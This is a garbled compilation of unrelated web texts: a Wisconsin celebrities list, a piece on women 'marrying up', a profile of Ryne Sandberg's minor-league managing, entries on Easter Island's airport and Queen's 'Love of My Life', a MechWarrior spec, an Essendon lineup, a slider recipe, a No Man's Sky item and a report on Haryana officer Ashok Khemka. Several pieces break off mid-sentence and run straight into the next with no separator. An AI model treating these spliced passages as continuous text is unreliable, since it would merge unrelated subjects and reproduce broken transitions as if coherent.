John “Tooz” Matuszak was also a successful NFL defensive lineman who won two Super Bowls and played for the Houston Oilers, Oakland Raiders, Kansas City Chiefs and Washington Redskins. Matuszak had a reputation for partying and was named one of Sports Illustrated’s “Top 5 Bad Boys of the NFL” in 2005.
Of course, the character of Sloth was loveable while also deformed. Don’t tell me you can watch the clip below without getting a little bit teary-eyed. (Okay maybe you can)
36. Kristin Bauer van Straten – Racine
Kristin Bauer van Straten may be the epitome of a Wisconsin woman. The lead sentence of her IMDB profile says she “grew up in Wisconsin playing sports, riding horses, and shooting guns.”
Most-recently she’s played Maleficent the sorceress on ABC’s Once – a character inspired by the villainess in Disney’s Sleeping Beauty. Her most famous role is probably as the vampire, Pam Ravenscroft, on the HBO series True Blood.
But to Seinfeld fans, she’ll always be Man-Hands. Kristin played Jerry’s gorgeous date with masculine, lobster-cracking paws. Coincidentally, the idea for man-hands (not the entire script) was sold to the show by an elementary school teacher in Green Bay.
Another interesting fact – Kristin starred with fellow Wisconsin native Heather Graham in the short-lived ABC comedy Emily’s Reason’s Why Not. And I mean very short lived. The sitcom was canceled after one episode.
Kristin Bauer van Straten was born in Racine, and has a lot of good things to say about her home-state on her website. She describes Wisconsin as “the land of nature, beauty and cheese.”
Along with many small roles on television from LA Law to Bones, she also appeared in the film The Story of Luke, a comedy about dealing with autism. The movie was screened at the 2013 Green Bay Film Festival.
37. Al Jarreau – Milwaukee
Seven-time Grammy winner Al Jareau started singing at his father’s Seventh Day Adventist Church. Jareau’s dad was a minister and his mother played piano in their church.
He was student council president at Lincoln High in Milwaukee and went on to attend Ripon College. During college he performed with a local group called The Indigos.
His professional musical career started out in northern California nightclubs, eventually he moved to L.A. where his voice was discovered. Among his many hits is the theme song to the show Moonlighting. That led to one of his Grammy awards.
Al Jarreau is the only performer to win Grammys in three different musical genres – jazz, R&B and pop.
Besides his Grammy awards, the renowned jazz singer is also known for his scatting abilities.
38. Allen Ludden – Mineral Point
Allen L |
boards.
The research, which drew on existing data from Britain and Spain, showed that 20 per cent of British women married husbands with a significantly better education than their own in 1949.
By the 1990s, the percentage of women deciding to ‘marry up’ had climbed to 38 per cent – with a similar pattern repeated in the rest of Europe, the U.S. and Australia.
The report concluded that equal roles in the family, where husband and wife shared employment, childcare and housework, was ‘not the ideal sought by most couples’.
Now a YouGov survey of 922 women, aged between 18 and 65, which was conducted for the Sunday Times last week, has backed Dr Hakim’s claims.
It comes after a series of measures announced by the Coalition intended to decrease the pay difference between women and men.
Of the women polled by YouGov, 62 per cent said their husbands earned more than them. Only 16 per cent earned more than their husbands while 18 per cent earned the same. Four per cent said they didn’t know what their husbands earned.
For better or worse: But the percentage of women wanting to'marry up' has risen
Fifty-nine per cent said they felt pressurised by society to go out to work.
More than a third – 37 per cent – said they disagreed with the Prime Minister’s plans to force businesses to appoint a ‘quota’ of women onto their boards.
Dr Hakim said: ‘Research evidence consistently shows that most husbands are the main bread winners in their family and that most mothers would prefer not to have competing demands of family work and paid jobs.
‘Mostly women like raising kids and mostly fathers are not that keen on doing it full-time. Social, structural and cultural forces are in place that mean if a man doesn’t have a full-time job he’ll have people looking down on him.’
But some experts disagree and instead claim financial constraints dictate that most women cannot afford the luxury of choosing, as Dr Hakim suggests, between work and raising their children.
Professor Jude Browne, director of Cambridge University’s Centre for Gender Studies, added: ‘For most families seeking to balance childcare and work there is no real choice unless you are very wealthy.
‘We do need more policy provision and it should be focused on, for example, adequately paid parental leave (as opposed to just maternity leave) and more affordable childcare.’ALLENTOWN, Pa. -- Ryne Sandberg takes a brief hiatus from his managerial duties each July and heads to Cooperstown, N.Y., for the Baseball Hall of Fame induction ceremonies. It's a nice opportunity to play some golf, relive old memories and enjoy the membership privileges of the game's most elite fraternity.
For several years, Sandberg relished the time in upstate New York catching up with Gary Carter, another Hall of Famer who was pursuing the same goal of managing in the big leagues. Sandberg, the quiet, focused guy, and Carter, the chatty extrovert, shared their experiences in the minors, from the rigorous travel to the challenges and rewards of working with young players.
"He seemed to be frustrated with the lack of movement upward with the Mets organization, so he spent some time in independent ball," Sandberg says. "We compared notes, and I know that he was pulling for what I was doing."
Carter, tragically, died of multiple brain tumors in February at age 57, without having reached his objective. For Sandberg, the quest endures -- one inning, one game, one anonymous, perspiration-filled day at a time.
Doesn't matter if it's pregame or after the first pitch, Ryne Sandberg doesn't miss much. Mike Janes/AP Photo
Sandberg, 52, is about to complete his sixth season as a minor league manager -- the first four in the Cubs' organization and the last two with Philadelphia's Triple-A Lehigh Valley club -- and he remains a portrait in tunnel vision. Last year, he led Lehigh Valley to the International League's Governors Cup finals, where the IronPigs fell to Columbus. This year, he continues to earn rave reviews from his players, who say he has done a wonderful job instilling a team concept and getting the most out of his talent. Lord knows, it has been a chore, with a staggering 58 players passing through Coca-Cola Park this summer. All told, Sandberg has five winning seasons and a 438-408 record down on the farm.
"I have no doubt that he can be, should be and will be a big league manager at some point," says Scott Elarton, a 10-year major league veteran who has spent the entire season in the IronPigs rotation.
Don't be surprised if Sandberg joins the big league club in September, as he did last fall. And if the Phillies shake up their coaching staff -- a good bet in light of their hugely disappointing season -- Sandberg is likely to be working under manager Charlie Manuel in Philadelphia in some capacity in 2013.
Phillies senior advisor Dallas Green, the team's scouting director when Philadelphia selected Sandberg in the 20th round of the 1978 draft, worked with former Phillies GM Pat Gillick to help bring Sandberg back to the organization in November 2010. He's perplexed why the Cubs let him get away, but is convinced that Sandberg is destined to achieve big things in a major league dugout.
"I'm scared to death we're gonna lose him ourselves," Green says. "He's in our plans, I will say that."
The obvious question: Why does a Hall of Famer who needed only 456 games of minor league seasoning as a player require 846 games in Peoria, Knoxville, Des Moines and Allentown to prove that he can manage?
No favors expected
Sandberg is, to his very core, a grinder -- without a shred of an iota of a sense of entitlement that 2,386 career hits, a 1984 National League MVP award, 10 All-Star Game appearances and nine Gold Gloves should put him at the front of the line for advancement. In his mind, he's just another clock puncher who is fortunate to be working in baseball and obliged to put in his time.
"There are hundreds and hundreds of guys in my situation in the minor leagues," Sandberg says. "I have peers and managers and coaches I go up against, and we're all in the same boat. If you're in the minor leagues, you want to get to the majors. I don't expect any red carpet to the big leagues. If the opportunity comes, then it comes. But I don't think I'm owed anything."
Sandberg's quest is nevertheless compelling, because it's so rare. Ted Williams is the only man in history to land his first big league managing job after entering the Hall of Fame as a player. Williams went straight to the Washington Senators in 1969 without managing an inning in the minor leagues, and found, to his consternation, that hitting a baseball wasn't nearly as easy for others as it was for him.
A sign of his maturation? These days, Sandberg makes himself more available than he did as a player. Mike Janes/Four Seam Images via AP Images
Sandberg's task is doubly hard because he now appears to be aiming at a moving target. For years, it has been an article of faith that even great players need a certain level of experience to manage successfully at the big league level. That might be truer than ever in the modern era, as managers throughout the game try to navigate huge payrolls, pitch counts, the scrutiny of Twitter and second-guessing from team executives armed with reams of new-age statistics.
So it was a stunning development when the rules of engagement suddenly changed last fall. In October, the Chicago White Sox hired Robin Ventura as their manager even though he had zero experience at any level. A month later, St. Louis replaced Tony La Russa with Mike Matheny, another managerial novice. The White Sox and Cardinals are in the mix for playoff spots this year, so it's difficult to argue with the two teams' choices. But throughout the game, baseball lifers and foot soldiers had a little more empathy for Sandberg's plight.
"With all due respect to Mike Matheny and Robin Ventura, what message does it send to your Double-A and Triple-A managers and hitting coaches -- guys who aspire to work in the big leagues and put in all those years and sweat equity and time away from their families for $40,000 a year -- when you hire someone with absolutely no experience as your manager?" says a scout.
Sandberg's dogged pursuit of his goal and refusal to grouse about dues-paying have won him a growing contingent of admirers in the industry. He has never vented publicly or shown impatience with his deliberate career track. On the contrary; he thinks all that time in the minors has laid the necessary groundwork for him to be successful when the opportunity arrives.
"I will be more ready to manage at the major league level doing what I've done, as compared to six years ago, when I might have been overmatched and not done a good job," Sandberg says. "I knew nothing about managing when I started. I know what I've done has been very, very worthwhile."
So why the wait?
No one can say for sure why Sandberg has spent so much time waiting for a shot. But in baseball circles, four theories have made the rounds to help explain his lengthy minor league apprenticeship.
1. He doesn't interview well
Scouts and front office people occasionally surmise this is the case, but it doesn't appear to have much basis in reality. Sandberg has had only one major league interview -- with St. Louis last winter. The Cardinals hired Matheny. But by all accounts, Sandberg was confident, prepared and up to the task.
At spring training in 1996, one Chicago icon (Harry Caray) interviewed another (Sandberg). AP Photo/Eric Risberg
"I think he is qualified," St. Louis general manager John Mozeliak said in an email. "I think he can interview well, and feel he has a passion for the game. He just was not the fit for us, but I was impressed."
Sandberg interviewed with the Red Sox for their Triple-A Pawtucket job in 2010, but Boston wanted to promote from within and gave the job to Arnie Beyeler. Sandberg probably would have taken the Lehigh Valley gig regardless. And that's the extent of his opportunities. It's not a case of poor interviews as much as very few interviews.
As one AL general manager told ESPN.com, managerial interviews are probably overrated, anyway. Maybe an owner is going to be dazzled by a candidate's glibness over lunch, but baseball operations people who oversee the process are inclined to take a lot more factors into account.
"Most candidates for manager jobs have been on the field all of their lives and not in board rooms," the GM says. "It's understandable that an interview wouldn't be their most comfortable setting. Watching them at work and seeing their performance over time should be a bigger part of the equation."
2. He's too vanilla
This perception is a remnant from his playing days, when Sandberg rarely spoke for public consumption. In hindsight, Sandberg concedes that he was immersed in his own little world in the batter's box and at second base and had no desire to hold court with beat reporters at his locker stall each day.
But even Green, who knows him better than most, wondered if he was assertive enough to oversee 25 players in a clubhouse. Several years ago, during a trip to Cooperstown, Green sought out Cubs great Ferguson Jenkins and others who had watched Sandberg manage in Class A Peoria for their opinions.
"He was very quiet as a player, and that was the only doubt I had," Green says. "Could he bring emotion or a discipline to the dugout? I didn't know. But everybody I talked to said, 'Dallas, he's really opened up. He'll go out on the field. He'll argue with umpires and get thrown out of games. He's done it here.' That was the growth part I hadn't seen. He certainly has it."
That same sense of assertiveness applies off the field as well. When Sandberg gave a thoroughly engrossing Hall of Fame speech in 2005, it was a far cry from the wooden, colorless Ryno who seemed so devoid of personality during his playing days. Sandberg's friends credit the influence of his second wife, Margaret, who helped bring him a new sense of purpose and peace after his highly publicized divorce in 1995.
"I've watched tremendous personal growth in him," says Jim Turner, Sandberg's agent since 1980. "He's far more outgoing. He always had a good sense of humor, but it's more evident and visible to those around him now. His comfort level has dramatically increased since the mid-90s."
3. He isn't great at networking
Sandberg's illustrious career with the Cubs won him countless fans and admirers in Chicago, but also limited his circle of baseball benefactors. Through the years, he had relatively few people in high places lobbying on his behalf.
The same applies to influential opinion-makers in the media. It was telling recently when Peter Gammons, a powerful voice in the industry, posted a list of seven names that should be on any managerial list: It included Tim Wallach, Dave Righetti, Joey Cora, Dave Martinez, Joe McEwing, Gabe Kapler and Brad Ausmus. For baseball writers who found Sandberg to be such a mystery man during his playing days, his name does not instantly spring to mind as a managerial rising star.
4. Cub for life?
For about a quarter-century, the conventional wisdom was that Sandberg would die a Cub. But when Lou Piniella abruptly resigned as Chicago manager in August 2010, the Cubs gave loyal organizational man Mike Quade first crack at the job. When Quade's star faded and the new, Theo Epstein-led regime laid out the qualifications for his replacement, big-league managerial or coaching experience was at the top of the list. The Cubs hired Dale Sveum; and Sandberg, disqualified from consideration, decided to expand his horizons and look for new opportunities beyond Chicago.
Some credit Sandberg's wife, Margaret, for helping bring his personality out. They got a pre-induction tour of the Hall of Fame in April 2005. AP Photo/Jim McKnight
"When the Cubs did what they did, I don't think he was pissed as much as hurt," Green says. "Ernie Banks is Mr. Cub, but Ryne was like a second Mr. Cub kind of guy. He's a Hall of Famer who paid his dues starting in 'A' ball. I don't know what else the Cubs wanted him to do to prove he could manage."
Sandberg has found plenty of love in Philadelphia, the place where he began his professional career as an 18-year-old multisport athlete out of Spokane, Wash. If he does, indeed, join the Phillies' coaching staff in 2013, the storyline will inevitably emerge that he's being "groomed" to replace Manuel, who will be entering the final year of his contract. But if Manuel feels threatened by Sandberg's presence, he certainly doesn't show it. He sounds like Sandberg's personal campaign manager.
"When I first met him, I liked everything about him," Manuel says. "I love talking hitting with him, and I like talking the game. He kind of revs me up.
"He's going to manage in the big leagues without a doubt, because he's that good. He puts in the time and the work. In some ways, he's quiet. But he'll get what he wants, because he's that good."
Perpetual motion machine
Talk to people throughout the game, and they'll invariably tell you that Triple-A ball is the most challenging level for a manager. The skill level might be raw in Class A ball, but the kids are usually receptive to instruction. In Double-A, the rosters are stacked with the best prospects. Then there's Triple-A, a melting pot of stalled lifers, fading veterans and prospects who are chafing to make it to the Show.
"Triple-A is a horse[bleep] place to manage," Green says. "Guys are always pissing and moaning about not being in the big leagues, or being sent down, or not getting a chance. You have all these grudge-holders with different agendas or an itch under their saddle, and there's all that ragging going on. [Sandberg] is able to cut that ragging out and make them play the game of baseball. He's done it everyplace he's been."
The stoic demeanor that some might describe as "blandness" serves Sandberg well in the clubhouse, where his players universally laud him for his consistency.
"There are times when all of us would like to complain about something," Elarton says. "Maybe it's a 10-hour bus ride when you're getting in early in the morning. But when you look and see a Hall of Famer sitting in the front of the bus, it becomes pretty hard to start griping."
Sandberg demands professionalism from his players, whether it means running out groundballs or standing at attention for the national anthem. He preaches the team concept, and tells players that individual accolades will come if the team wins games. He urges the IronPigs to pull for each other, and believes in the importance of community service, readily consenting when the club asks him to appear at a local soup kitchen or visit with wheelchair-bound kids in the Miracle League. Margaret, similarly, is on board to help the team's wives, fiancées and girlfriends bond away from the field. Infielder Kevin Frandsen, a former IronPig who's now in Philadelphia, refers to her as "Mama Sandberg."
He was a Hall of Fame major league player. Isn't it time to find out what kind of a major league manager he'd be? AP Photo/John Dunn
Players who want to catch Sandberg in his office better do it while he's getting dressed or filling out the lineup card, because that's the only time he's sedentary. Before a recent game, Sandberg arrived in the dugout at 2:30 p.m. for a prearranged interview. Then he threw a round of batting practice. Then he grabbed a fungo bat and hit ground balls from both sides of the batting cage. Then he took a breather and staked out a spot beside the cage to monitor batting practice.
On a given day, Sandberg might tutor young infielder Cesar Hernandez on the art of the double-play pivot, or haul out the Jugs machine with coach Sal Rende and watch outfielders work on their reads and routes. He even goes out to the bullpen at 3 p.m., routinely, to watch pitchers throw their between-starts side sessions.
"I've never seen a manager watch the bullpens," Elarton says. "The first couple of times, I actually felt a little bit of extra pressure. But it's just another sign that he cares. He wants to know what's going on with everyone."
Ask the scouts who watch Sandberg's teams play, and they'll tell you the incessant focus on subtleties pays off in numerous ways.
"I've always thought the best way to judge a manager's effectiveness is, how does his team run the bases?" says a scout. "I've watched his teams in Iowa and Lehigh Valley, and not only do they perform, but they run the bases well. Guys go from first to third. They'll score from first on a double. They're very aggressive, and you can see the attention to detail. His coaches love working with him and the players love playing for him. You can see that."
During his time in Lehigh Valley, Frandsen noticed that the manager never threw up his hands in exasperation or let out a sigh of discontent if a player swung at a bad pitch or made a mental gaffe. Sandberg would pull the player aside and quietly but firmly tell him the right way to do things, and leave it at that. Although Sandberg never played for Bobby Cox, he has a Cox-like aversion to showing up players or calling them out publicly.
"He's the most humble Hall of Famer I've ever met in my life," Frandsen says. "It's funny. He remembers how difficult it was as a player, even if it wasn't really difficult for him, if you know what I mean. He truly remembers what it was like to be a player and the struggles that we go through."
When Sandberg landed his first managing gig with the Cubs' Class A Peoria team in 2007, it was a heartwarming nostalgia trip to his formative years in the Phillies organization. He always felt more comfortable with the grunt work than the glory, absorbing advice from Pete Rose and Mike Schmidt, learning his craft from Larry Bowa and Manny Trillo and transforming himself from a talented prospect into a Hall of Famer. Now he's scripting a second act at his own methodical pace, without a trace of bitterness or impatience.
"My Hall of Fame speech was about respect for the game," Sandberg says. "Get your work in. Work hard at it. Give it your best effort. And if you get an opportunity, be ready for it. That's respect for the game."
Sandberg respects the game enough to let baseball determine his new career timetable. There's no question he will make it in the end. It's strictly a matter of when.Mataveri International Airport or Isla de Pascua Airport (IATA: IPC, ICAO: SCIP) is located at Hanga Roa on Rapa Nui (Easter Island) (Isla de Pascua in Spanish). The most remote airport in the world,[4] Mataveri International Airport is 2,336 miles (3,759 km) from Santiago, Chile (SCL) which has scheduled flights to it on the Chilean carrier LATAM Chile. The runway starts just inland from the island's southeast coast at Mataveri and nearly reaches the west coast, almost separating the mountain of Rano Kau from the rest of the island. The airport is the main point of entry for thousands of tourists who come to Easter Island to see its Moai statues. The airport also has a transit lounge used by passengers who are continuing onwards to or returning from Papeete, Tahiti, which is also serviced by LATAM Airlines.
History [ edit ]
Scheduled services from the Chilean mainland started in 1967 with a monthly Douglas DC-6B propliner flight operated by LAN-Chile that took nine hours,[5] using a runway extended and paved for the use as a U.S. base.[6] In 1970, services were upgraded with weekly Boeing 707-320 nonstop jet service to Santiago, Chile.[5] Nonstop service to Papeete, Tahiti was also added during the late 1960s and the frequency doubled to twice-weekly with LAN-Chile providing direct connecting 707 service once a week between Easter Island and Frankfurt, Paris and Madrid in Europe via its Santiago hub.[7][8] LAN-Chile then replaced its Boeing 707 flights with Boeing 767-200ER jet service and in 1993 was operating twice weekly round trip flights on a routing of Santiago (SCL) – Easter Island (IPC) – Papeete (PPT).[9] The airline later operated Airbus A340 and Boeing 767-300ER wide body jetliners into the airport.[10]
The airport's single runway is 3,318 m (10,885 ft) long. The airport was once designated as an abort site for the U.S. Space Shuttle when polar orbital flights from Vandenberg Air Force Base in southern California were planned[11] with this space launch activity then subsequently being cancelled. The project undertaken by NASA to lengthen the runway was completed in 1987 and enabled wide-bodied jets to use the airport, which further boosted tourism to the island.[12]
Due to the lack of diversion airports between PPT (Tahiti) and South America except for IPC, the Chilean CAA prohibits more than one aircraft from the vicinity of IPC. Once an aircraft flying from South America is more than at the halfway point between South America and IPC, no other aircraft can be closer than the halfway point until the first aircraft successfully lands at IPC. This is because if an aircraft should have an accident that obstructs or closes the runway, other aircraft cannot land at IPC and would have to turn back.
The Isla de Pascua VOR-DME (Ident: IPA) and non-directional beacon (Ident: IPA) are located on the field.[13][14]
There is a hill adjacent to the eastern end of the runway. Approach and departures to either end of the runway are over the water.
Airlines and destinations [ edit ]
LATAM Chile currently operates Boeing 787-9 aircraft to the island on its scheduled services.
See also [ edit ]Pre-order the Kit Fox Now! http://mwomercs.com/clans/
Heavily armed for it's tonnage, able to engage in both close and long combat.
Originally designed by Clan Cloud Cobra.
Weapons and Equipment
With over half of it's tonnage dedicated to weapons and ammo, the Kit Fox us a 'Mech that emphasizes firepower over mobility. Â In it's Primary configuration it mounts an ER Large Laser and an LB 5-X AC as it's main weapons. Â These are backed up by a Small Pulse Laser and a Streak SRM-4 for close range combat.
Primary Configuration:
1x LB 5-X AC
1x ER Large Laser
1x Small Pulse Laser
1x Streak SRM-4 Hardpoints:
LA: 2E
RA: 1M, 1B Manufacturing Information
Mass: 30 tons
Chassis: Process 12 Endo-steel
Power Plant: Starfire 180 XL
Cruising Speed: 64 kph
Maximum Speed: 97.2 kph
Armor: Compound H18
Manufacturer: Babylon MechWorks V (Cloud Cobra),
Production Line Gamma 2 (Snow Raven), Ironhold Plant 9 (Jade Falcon) Primary Factory: Babylon, Lum, Ironhold Primary Factory: Babylon, Lum, Ironhold
Targeting and Tracking System: Series XXX MultiTrack
Communications System: CobraTalk 12• Eight burning questions about the bans
• Timeline: Three years of turmoil for Essendon
• Where are the Essendon 34 now?
WITH 12 players suspended for 2016, coming up with a 22 for round one is going to be one hell of a juggling act for Essendon.
First and foremost they'll be madly looking for the allocated 10 top-up players to not only push for senior selection, but also bolster their paper-thin depth.
Aside from losing primary midfielders Jobe Watson, Dyson Heppell and Brent Stanton, perhaps the toughest area to patch over is the key defensive posts.
After trading Jake Carlisle to St Kilda – who has also been suspended – the Bombers are now without Michael Hurley and Cale Hooker.
Mitch Brown looks a ready-made replacement from the current list, while we've taken a punt on projecting three-time Hawthorn premiership star Brian Lake might want to go around for another season.
If Lake doesn't play, perhaps former Hawk and Lion Jordan Lisle, the VFL's leading goalkicker in 2015, could slot in at centre half-back to partner Brown.
It's unfair to speculate too much on exactly which top-up players will play in round one, but here's our best shot with other likely targets listed below.
ESSENDON'S POSSIBLE ROUND ONE TEAM
B: James Gwilt, Brian Lake, Mark Baguley
HB: Courtenay Dempsey, Mitch Brown, Martin Gleeson
C: Darcy Parish, David Zaharakis, Adam Cooney
HF: Shaun Edwards, Patrick Ambrose, Zach Merrett
F: Shaun McKernan, Joe Daniher, Jayden Laverde
Foll: Matthew Leuenberger, Brendon Goddard, Craig Bird
I/C: Jackson Merrett, Aaron Francis, Orazio Fantasia, James Polkinghorne
POSSIBLE TOP-UP CANDIDATES
Ryan Crowley – delisted by Fremantle after 188 games, but believes he is capable of playing on.
Mitch Golby – running defender who played the last of his 56 games for the Lions in 2015.
Aaron Heppell – brother of Dyson and played as a top-up for the Bombers in last year's NAB Challenge.
James Kelly – believed to have wanted to play on after leaving Geelong following 273 games and three flags.
Brian Lake – retired after last year's premiership but believed to have wanted to played on.
Jordan Lisle – key position player with 23 games to his name at Hawthorn and the Lions.
Brodie Martin – delisted by Adelaide after 38 games in eight seasons.
Zac O'Brien – played with Essendon VFL team in 2013 before playing two seasons with the Lions.
Jared Petrenko – former Crow who help top-up last year's NAB Challenge team.
James Polkinghorne – former Lion with 94 games experience and Essendon's VFL best and fairest winner last season.
Mathew Stokes – like Kelly retired, but understood to want to have played on
Matthew Watson – young key position player who played 23 games in five seasons at Carlton"Love of My Life" is a song by the British rock band Queen from their 1975 album A Night at the Opera.[1] The ballad[2] was written by Freddie Mercury, for Mary Austin, Mercury's ex-fiancée and best friend.[3][4] After performing the song in South America in 1981, the version from their live album Live Killers reached number 1 in the singles chart in Argentina and Brazil, and stayed in the charts in Argentina for an entire year.[5]
Freddie Mercury wrote it on the piano and guitar first, and Brian May rearranged the song for acoustic 12-string guitar for live performances, also lowering the key by a minor third. May contributed occasional guitar phrases to the original recording and played the swooping harp glissandos by pasting together multiple takes of single chords. The song is an example of Mercury's familiarity with rubato phrasing, showcasing his classical piano influences, notably by Chopin and Beethoven.
With its similar lyrical theme, the Roger Taylor penned single "These Are the Days of Our Lives” would later hearken back to "Love of My Life", twice using the line "I still love you". At the end of "These Are the Days of Our Lives", Mercury simply speaks those words, as he would often do in live versions of "Love of My Life".[6]
During the voyage of the space shuttle Columbia (STS-107), Israeli astronaut, Ilan Ramon, asked to play the song. The song was played in the shuttle and Ramon said: "A special good morning to my wife, Rona, the love of my life."[7] Ramon died in the Columbia disaster shortly thereafter, during its return to the atmosphere in 2003.
Live performances [ edit ]
Introduced during the News of the World Tour in 1977, "Love of My Life" was such a concert favourite that Mercury frequently stopped singing and allowed the audience to take over. It was especially well received during concerts in South America, and as a result, the band released the Live Killers version of the song as a single there.[1]
After Mercury's death, Brian May has frequently dedicated the song to him in his own live performances. A notable exception is the Sheffield show which yielded the Return of the Champions CD and DVD. At that show, May announced that Mercury's mother was at the show and he dedicated the song to her instead. In the Queen + Paul Rodgers Tour, May would sing a few lines of the song, then let the audience take over for every verse, as Mercury did. When played at the Glasgow SECC in the 2008 Cosmos Rocks tour, May dedicated the song to his recently deceased mother.
During Rock in Rio 6 in 2015, Queen + Adam Lambert was one of the artists to celebrate the festival's 30th anniversary. "Love of My Life" had both May singing a few lines and archive footage of Mercury performing the song during the inaugural Wembley concert in 1986.[8]
1979 live single release [ edit ]
The acoustic version of the song featured on the band's 1979 album Live Killers [1] was recorded at their concert at Festhalle Frankfurt on 2 February of that year. A shortened version was released as a single in the UK and other territories, which did not include the spoken intros and outros from the album. The liner notes for the DVD release "Greatest Video Hits 1" state that although the live audio is from Frankfurt, the accompanying music video that was edited to the track consisted of footage from a 1979 Tokyo concert. In fact, the footage was filmed before one of three Tokyo concerts the band played between 23–25 April. Some bits of footage from two concerts in Paris from earlier in the year are woven in. After performing the song in South America in 1981, it was this version that reached number 1 in the singles chart in Argentina and Brazil, and stayed in the charts in Argentina for an entire year.
Queen quotes [ edit ]
“ "Love Of My Life" is adapted on stage for guitar, but it was written on the piano. I've totally forgotten the original and if you asked me to play that now, I couldn't. Sometimes, I have to go back to the music sheet, and I can't read that well either.[9] ” — Freddie Mercury, 1981
“ Interviewer: Did you learn to play harp for "Love Of My Life"?
Learning would be too strong a word. I did it chord by chord. Actually, it took longer to tune the thing than to play it. It was a nightmare because every time someone opened the door, the temperature would change and the whole thing would go out. I would hate to have to play a harp on stage. I just figured out how it worked – the pedals and everything – and did it bit by bit.[10] ” — Brian May, 1982
“ I hate this thing about trying to recreate the albums on stage. We sometimes deliberately change. Look at 'Love Of My Life', for instance. On record I play piano on that but on stage it's just Brian playing the guitar and me singing it, because it works on stage better that way.[11] ” — Freddie Mercury, 1984
Personnel [ edit ]
Charts [ edit ]Get the Recipe The Ultimate Sliders
By this point, any A Hamburger Today reader knows that a slider is not just a mini burger. Putting a small beef patty on a tiny bun does not make it a slider, and don't even think about applying the moniker to a mini crab-cake or grilled chicken breast sandwich without copious use of quotation marks.
Invented in Wichita, Kansas, in 1916 by Walter Anderson (who five years later founded White Castle), sliders were at one time the predominant form of burger on the planet. Weighing in at under two ounces, the diminutive sandwiches are made by slowly steam-griddling thin, all-beef patties on a bed of onions.
The aromatic steam from the onions wafts through and around the beef and buns, which are placed directly on top of the patty as it cooks. When fully steamed through, the buns become mere wisps of moist pillowy bread—the physical manifestation of sweet, pungent onion vapor. Topped with melty American cheese and a couple slices of pickle, it's the cheeseburger in one of its purest, most noble forms and as a genre, is completely unimprovable.
That said, there are certainly good sliders and bad sliders our there, and the basic methodology leaves plenty of room for interpretation Should the onions be sliced or diced? How cooked should they be? What order should the burger be stacked in? How does the meat get cooked? Is it even possible to dissect and reassemble the slider in standard Burger Lab style and come out the other end with a recipe that doesn't in some way dishonor a nearly 100-year-old institution?
My goal this week: develop the ultimate slider recipe. And as I quickly discovered, there's a lot more going on between those tiny buns than meats the eye*.
* I know, ouch. Sorry about the terrible pun
Heading to the Source
Living a stone's throw from North Jersey, I fortunately have some good stomping grounds to research sliders that are still cooked via the method pioneered by White Castle. Almost all of the slider joints in Jersey have the word "white" in their name; an epithet originally intended to evoke a sense of purity and cleanliness to calm a beef-wary 1920s public, who were still reeling at the horror stories of the Chicago stockyards chronicled in Upton Sinclair's The Jungle.
So how do they cook their burgers? To quote slider expert Nick Solares, this is how it's done (I'll refer to this method as the "traditional" method from here on out):
The method of preparation, despite some variance in ingredients (the way the onions are apportioned, for example) is constant: Small two-ounce (or smaller) cubes of beef are mashed on to a flat top griddle, and onions (either finely chopped into tiny cubes or thinly sliced into delicate ribbons) are pressed into the top of the sizzling patty, which ends up on the bottom when the burger is flipped. If cheese is ordered, it is applied as soon as the patty is flipped, and the bun—top half first, bottom portion placed on top—covers the onion-beef-cheese stack.
After steaming through, the sandwiches are closed, and pickles and condiments are added. Simple, right?
White Castle on the other hand, has made a few innovations in the process over the years that bear some investigation.
Rather than starting with the beef, they first cover the griddle with a layer of reconstituted dehydrated onions (apparently they made the switch from fresh onions during World War II food shortages and have never looked back). The onions and their liquid are allowed to slowly warm and soften, before frozen patties of beef with the distinct five-hole pattern (intended to hasten cooking time) are added, and topped immediately with both bottom and top bun.
So what does this mean? Well, the key difference is that at White Castle, the beef never touches the griddle. The cooking is done 100% via steam from the onions.
It's unclear exactly why White Castle made this change (which according to my research, happened very early on, well before the 1950's). It could be for efficiency and uniformity reasons, or it may be that the method simply |
season ended a bit too early. But it was the best of times because 39 guys put on the Chocolate and White and made it that way.
By Julie Beidler
Follow @juliebeidlerLet's face it. We've all been thinking how good the never ending No Man's Sky would be on Sony's Morpheus VR headset. Surprise surprise, we're not the only ones. Speaking to Edge Magazine for its new issue, creator Sean Murray dangles a very juicy carrot.
"I don't know what I'm allowed to say," he replies when questioned about the prospect. "It's something we're thinking about. Morpheus, Oculus... There's nothing more cool and sci-fi than VR and a big procedural universe. I think that, for the people who want to just explore, and even for the space combat and things like that, it would be a good fit. Let's put it that way."
That's a very careful statement but come Morpheus and Oculus release next year, it doesn't sound too far fetched that we might have a chance to truly live in the world of No Man's Sky. This is almost too exciting to think about in case productivity drops to a dangerous new low. Given the procedurally generated eternity on offer, we might not ever come back.
No Man's Sky doesn't have a release date yet but you can find out more in the exclusive feature in the new Edge Magazine out on Friday. You can find it on shelves, downloaddigitallyorsubscribeto future issues.Chandigarh: A senior Haryana IAS officer has charged that the state government has "abruptly" transfered him, the 43rd in his career, as a "punishment" for acting as a whistle-blower in several dubious land transactions, a claim denied by authorities.
Ashok Khemka, the 1991-batch officer, has also pleaded for security as he feels "threat" from "vested elements" whom he has been exposing from time to time.
In his letter written yesterday to Chief Secretary P K Chaudhery, Khemka pointed out that there should be a minimum tenure of two years as per the statutory IAS (Fixation of Cadre Strength) Regulations 2010, "but the state government has violated statutory regulations".
Haryana Chief Secretary Chaudery told reporters that the IAS officer`s contention that his transfer was a punishment was not correct.
"It (transfer) is the prerogative of the Government. The officer was transferred for administrative reasons," the Chief Secretary said.
In his letter, Khemka said acting as a whistle-blower on "several dubious" land transactions has come as a "punishment" for him.
"It is shocking to learn about my abrupt transfer...This is deliberate and malafide to punish me due to some vested elements in the political-bureaucratic hierarchy affected by the expose of the scams in consolidation of land holdings under the exercise of powers," he wrote in his letter.
During his 50-day stint in the department, Khemka had detected serious irregularities in land transactions involving transfer of panchayat land worth several hundred crores of rupees to newly created real estate companies.
Khemka was transferred this week from his post of Director General, consolidations of holdings and land records, where he was posted for less than two months. He has now been posted as Managing Director of Haryana Seeds Development Corporation, which was last under an officer 12 years his junior.
On October 9, the Haryana government had notified a policy to provide security to whistle-blowers and Right to Information activists. Khemka`s transfer was done two days later.
"Forest and hill areas were sought to be partitioned under
the garb of consolidation to corner prime plots near highways to build farmhouses or resorts. Panchayats also lost huge lands in consolidation by deliberate under-valuation.
"Not only this, during inspection of land records it was discovered that thousands of acres of panchayat land after illegal mutations in favour of owners were subsequently partitioned into small parcels and sold away...," Khemka wrote, urging Chaudhery to look into various transactions in Gurgaon, Faridabad and Yamunanagar districts.
